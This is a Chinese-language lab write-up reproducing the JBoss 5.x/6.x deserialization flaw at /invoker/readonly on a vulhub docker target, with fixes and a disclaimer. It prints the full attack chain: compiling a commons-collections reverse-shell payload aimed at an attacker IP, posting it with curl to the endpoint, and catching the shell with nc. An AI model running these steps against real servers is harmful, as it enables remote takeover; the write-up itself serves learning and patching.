0x00 实验环境
攻击机:Win 10
靶场:docker拉的vulhub靶场
0x01 影响版本
实验版本jboss:as-6.1.0,对版本低于7.x的有影响,即:5.x和6.x版本
0x02 漏洞复现
(1)存在漏洞的页面:
http://x.x.x.x:8080/invoker/readonly
(2)说是这里存在反序列化,不太懂java代码,等以后学了这个再看看吧。
序列化:
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
反序列化:
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
(3)两种拿权限方式:
方式一:
直接使用现有的工具:
方式二:
使用反序列化:
(1)下载工具(工具一概不提供,本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。):
(2)生成一个ser的exp:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:2333
(3)执行攻击:
curl http://xx.xx.xx.xx:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
(4)2333端口开启监听后将收到shell:
nc -lvp 2333
0x03 漏洞修复
1、升级jboss为7.x版本
2、删除/invoker/readonly接口
0x04 免责声明
本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关